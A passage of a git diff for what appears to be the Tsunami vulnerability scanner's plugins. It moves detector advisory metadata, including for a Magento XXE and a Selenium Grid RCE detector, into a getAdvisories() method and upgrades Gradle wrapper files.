this.oobSleepDuration = oobSleepDuration; } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of(getAdvisory(Severity.CRITICAL, "")); + } + // This is the main entry point of VulnDetector. @Override public DetectionReportList detect( @@ -166,6 +160,23 @@ public DetectionReportList detect( .build(); } + Vulnerability getAdvisory(Severity severity, String additionalDetails) { + return Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher(VULNERABILITY_REPORT_PUBLISHER) + .setValue(VULNERABILITY_REPORT_ID)) + .setSeverity(severity) + .setTitle(VULNERABILITY_REPORT_TITLE) + .setDescription(VULNERABILITY_REPORT_DESCRIPTION_BASIC) + .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION) + .addAdditionalDetails( + AdditionalDetail.newBuilder() + .setTextData(TextData.newBuilder().setText(additionalDetails))) + .addRelatedId(VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-34102")) + .build(); + } + /* Check presence of endpoint with always anonymous access: /rest/default/V1/directory/currency From: https://developer.adobe.com/commerce/webapi/rest/use-rest/anonymous-api-security/ @@ -423,13 +434,10 @@ private DetectionReport buildDetectionReport( // Set description and severity depending on whether the vulnerability was verified via an OOB // callback or with response matching only - String description; Severity severity; if (this.responseMatchingOnly) { - description = VULNERABILITY_REPORT_DESCRIPTION_RESPONSE_MATCHING; severity = Severity.HIGH; } else { - description = VULNERABILITY_REPORT_DESCRIPTION_CALLBACK; severity = Severity.CRITICAL; } @@ -438,19 +446,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher(VULNERABILITY_REPORT_PUBLISHER) - .setValue(VULNERABILITY_REPORT_ID)) - .setSeverity(severity) - .setTitle(VULNERABILITY_REPORT_TITLE) - .setDescription(description) - .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION) - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setTextData(TextData.newBuilder().setText(additionalDetails)))) + .setVulnerability(getAdvisory(severity, additionalDetails)) .build(); } } diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java b/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java index 880701de6..f47c335ed 100644 --- a/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java @@ -21,12 +21,6 @@ import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.CURRENCY_ENDPOINT_PATH; import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VERSION_ENDPOINT_PATH; -import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABILITY_REPORT_DESCRIPTION_CALLBACK; -import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABILITY_REPORT_DESCRIPTION_RESPONSE_MATCHING; -import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABILITY_REPORT_ID; -import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABILITY_REPORT_PUBLISHER; -import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABILITY_REPORT_RECOMMENDATION; -import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABILITY_REPORT_TITLE; import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABLE_ENDPOINT_PATH; import com.google.common.collect.ImmutableList; @@ -42,17 +36,13 @@ import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; import com.google.tsunami.plugins.detectors.cves.cve202434102.Annotations.OobSleepDuration; -import com.google.tsunami.proto.AdditionalDetail; import com.google.tsunami.proto.DetectionReport; import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TextData; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -128,7 +118,7 @@ public void detect_whenVulnerableAndTcsAvailable_reportsCriticalVulnerability() DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); DetectionReport expectedDetection = - generateDetectionReportWithCallback(targetInfo, httpServices.get(0)); + generateDetectionReportWithCallback(detector, targetInfo, httpServices.get(0)); assertThat(detectionReports.getDetectionReportsList()).containsExactly(expectedDetection); assertThat(mockWebServer.getRequestCount()).isEqualTo(3); assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); @@ -148,7 +138,7 @@ public void detect_whenVulnerableAndTcsNotAvailable_reportsHighVulnerability() DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); DetectionReport expectedDetection = - generateDetectionReportWithResponseMatching(targetInfo, httpServices.get(0)); + generateDetectionReportWithResponseMatching(detector, targetInfo, httpServices.get(0)); assertThat(detectionReports.getDetectionReportsList()).containsExactly(expectedDetection); assertThat(mockWebServer.getRequestCount()).isEqualTo(3); assertThat(mockCallbackServer.getRequestCount()).isEqualTo(0); @@ -191,7 +181,7 @@ public void detect_whenNotVulnerableAndTcsNotAvailable_reportsNoVulnerability() } private DetectionReport generateDetectionReportWithCallback( - TargetInfo targetInfo, NetworkService networkService) { + MagentoCosmicStingXxe detector, TargetInfo targetInfo, NetworkService networkService) { String additionalDetails = "Magento version: " + MOCK_MAGENTO_VERSION; return DetectionReport.newBuilder() @@ -199,24 +189,12 @@ private DetectionReport generateDetectionReportWithCallback( .setNetworkService(networkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher(VULNERABILITY_REPORT_PUBLISHER) - .setValue(VULNERABILITY_REPORT_ID)) - .setSeverity(Severity.CRITICAL) - .setTitle(VULNERABILITY_REPORT_TITLE) - .setDescription(VULNERABILITY_REPORT_DESCRIPTION_CALLBACK) - .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION) - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setTextData(TextData.newBuilder().setText(additionalDetails)))) + .setVulnerability(detector.getAdvisory(Severity.CRITICAL, additionalDetails)) .build(); } private DetectionReport generateDetectionReportWithResponseMatching( - TargetInfo targetInfo, NetworkService networkService) { + MagentoCosmicStingXxe detector, TargetInfo targetInfo, NetworkService networkService) { String additionalDetails = "Magento version: " + MOCK_MAGENTO_VERSION; return DetectionReport.newBuilder() @@ -224,19 +202,7 @@ private DetectionReport generateDetectionReportWithResponseMatching( .setNetworkService(networkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher(VULNERABILITY_REPORT_PUBLISHER) - .setValue(VULNERABILITY_REPORT_ID)) - .setSeverity(Severity.HIGH) - .setTitle(VULNERABILITY_REPORT_TITLE) - .setDescription(VULNERABILITY_REPORT_DESCRIPTION_RESPONSE_MATCHING) - .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION) - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setTextData(TextData.newBuilder().setText(additionalDetails)))) + .setVulnerability(detector.getAdvisory(Severity.HIGH, additionalDetails)) .build(); } diff --git a/doyensec/detectors/selenium_grid_rce_via_exposed_server/gradle/wrapper/gradle-wrapper.jar b/doyensec/detectors/selenium_grid_rce_via_exposed_server/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/doyensec/detectors/selenium_grid_rce_via_exposed_server/gradle/wrapper/gradle-wrapper.jar and b/doyensec/detectors/selenium_grid_rce_via_exposed_server/gradle/wrapper/gradle-wrapper.jar differ diff --git a/doyensec/detectors/selenium_grid_rce_via_exposed_server/gradle/wrapper/gradle-wrapper.properties b/doyensec/detectors/selenium_grid_rce_via_exposed_server/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/doyensec/detectors/selenium_grid_rce_via_exposed_server/gradle/wrapper/gradle-wrapper.properties +++ b/doyensec/detectors/selenium_grid_rce_via_exposed_server/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/doyensec/detectors/selenium_grid_rce_via_exposed_server/gradlew b/doyensec/detectors/selenium_grid_rce_via_exposed_server/gradlew index 1aa94a426..23d15a936 100755 --- a/doyensec/detectors/selenium_grid_rce_via_exposed_server/gradlew +++ b/doyensec/detectors/selenium_grid_rce_via_exposed_server/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/doyensec/detectors/selenium_grid_rce_via_exposed_server/gradlew.bat b/doyensec/detectors/selenium_grid_rce_via_exposed_server/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/doyensec/detectors/selenium_grid_rce_via_exposed_server/gradlew.bat +++ b/doyensec/detectors/selenium_grid_rce_via_exposed_server/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetector.java b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetector.java index 19c95ae55..56c050696 100644 --- a/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetector.java +++ b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetector.java @@ -140,6 +140,21 @@ public final class RCEViaExposedSeleniumGridDetector implements VulnDetector { "%s"); // Placeholder for URL } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher(VULNERABILITY_REPORT_PUBLISHER) + .setValue(VULNERABILITY_REPORT_ID)) + .setSeverity(Severity.CRITICAL) + .setTitle(VULNERABILITY_REPORT_TITLE) + .setDescription(VULNERABILITY_REPORT_DESCRIPTION) + .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION) + .build()); + } + // This is the main entry point of VulnDetector. @Override public DetectionReportList detect( @@ -506,16 +521,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher(VULNERABILITY_REPORT_PUBLISHER) - .setValue(VULNERABILITY_REPORT_ID)) - .setSeverity(Severity.CRITICAL) - .setTitle(VULNERABILITY_REPORT_TITLE) - .setDescription(VULNERABILITY_REPORT_DESCRIPTION) - .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION)) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/examples/example_calling_command/gradle/wrapper/gradle-wrapper.jar b/examples/example_calling_command/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/examples/example_calling_command/gradle/wrapper/gradle-wrapper.jar and b/examples/example_calling_command/gradle/wrapper/gradle-wrapper.jar differ diff --git a/examples/example_calling_command/gradle/wrapper/gradle-wrapper.properties b/examples/example_calling_command/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/examples/example_calling_command/gradle/wrapper/gradle-wrapper.properties +++ b/examples/example_calling_command/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/examples/example_calling_command/gradlew b/examples/example_calling_command/gradlew index 1aa94a426..23d15a936 100755 --- a/examples/example_calling_command/gradlew +++ b/examples/example_calling_command/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/examples/example_calling_command/gradlew.bat b/examples/example_calling_command/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/examples/example_calling_command/gradlew.bat +++ b/examples/example_calling_command/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/examples/example_calling_command/src/main/java/com/google/tsunami/plugins/example/ExampleCallingCommand.java b/examples/example_calling_command/src/main/java/com/google/tsunami/plugins/example/ExampleCallingCommand.java index 7adc874de..766b0f569 100644 --- a/examples/example_calling_command/src/main/java/com/google/tsunami/plugins/example/ExampleCallingCommand.java +++ b/examples/example_calling_command/src/main/java/com/google/tsunami/plugins/example/ExampleCallingCommand.java @@ -102,8 +102,6 @@ public final class ExampleCallingCommand implements VulnDetector { @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { - logger.atInfo().log("ExampleVulnDetector starts detecting."); - // An example implementation for a VulnDetector. return DetectionReportList.newBuilder() .addAllDetectionReports( @@ -116,6 +114,25 @@ public DetectionReportList detect( .build(); } + // Your detector must provide information about the vulnerabilities it detects. + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("vulnerability_id_publisher") + .setValue("VULNERABILITY_ID")) + // If your vulnerability is a CVE, you need to reference it in the related advisories. + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-1234-12345")) + .setSeverity(Severity.CRITICAL) + .setTitle("Vulnerability Title") + .setDescription("Verbose description of the issue") + .setRecommendation("Verbose recommended solution") + .build()); + } + // Checks whether a given network service is vulnerable. Real detection logic implemented here. private boolean isServiceVulnerable(NetworkService networkService) { NetworkEndpoint targetEndpoint = networkService.getNetworkEndpoint(); @@ -150,15 +167,7 @@ private DetectionReport buildDetectionReport( .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("vulnerability_id_publisher") - .setValue("VULNERABILITY_ID")) - .setSeverity(Severity.CRITICAL) - .setTitle("Vulnerability Title") - .setDescription("Verbose description of the issue") - .setRecommendation("Verbose recommended solution") + this.getAdvisories().get(0).toBuilder() .addAdditionalDetails( AdditionalDetail.newBuilder() .setTextData( diff --git a/examples/example_calling_command/src/test/java/com/google/tsunami/plugins/example/ExampleCallingCommandTest.java b/examples/example_calling_command/src/test/java/com/google/tsunami/plugins/example/ExampleCallingCommandTest.java index 6e52a0170..d7b48647a 100644 --- a/examples/example_calling_command/src/test/java/com/google/tsunami/plugins/example/ExampleCallingCommandTest.java +++ b/examples/example_calling_command/src/test/java/com/google/tsunami/plugins/example/ExampleCallingCommandTest.java @@ -34,11 +34,8 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TextData; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.File; import java.io.IOException; import java.time.Instant; @@ -98,15 +95,7 @@ public void detect_whenScriptReturnsNonEmpty_returnsVulnerability() throws IOExc Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("vulnerability_id_publisher") - .setValue("VULNERABILITY_ID")) - .setSeverity(Severity.CRITICAL) - .setTitle("Vulnerability Title") - .setDescription("Verbose description of the issue") - .setRecommendation("Verbose recommended solution") + detector.getAdvisories().get(0).toBuilder() .addAdditionalDetails( AdditionalDetail.newBuilder() .setTextData( diff --git a/examples/example_payload_framework_vuln_detector/gradle/wrapper/gradle-wrapper.jar b/examples/example_payload_framework_vuln_detector/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/examples/example_payload_framework_vuln_detector/gradle/wrapper/gradle-wrapper.jar and b/examples/example_payload_framework_vuln_detector/gradle/wrapper/gradle-wrapper.jar differ diff --git a/examples/example_payload_framework_vuln_detector/gradle/wrapper/gradle-wrapper.properties b/examples/example_payload_framework_vuln_detector/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/examples/example_payload_framework_vuln_detector/gradle/wrapper/gradle-wrapper.properties +++ b/examples/example_payload_framework_vuln_detector/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/examples/example_payload_framework_vuln_detector/gradlew b/examples/example_payload_framework_vuln_detector/gradlew index 1aa94a426..23d15a936 100755 --- a/examples/example_payload_framework_vuln_detector/gradlew +++ b/examples/example_payload_framework_vuln_detector/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/examples/example_payload_framework_vuln_detector/gradlew.bat b/examples/example_payload_framework_vuln_detector/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/examples/example_payload_framework_vuln_detector/gradlew.bat +++ b/examples/example_payload_framework_vuln_detector/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto 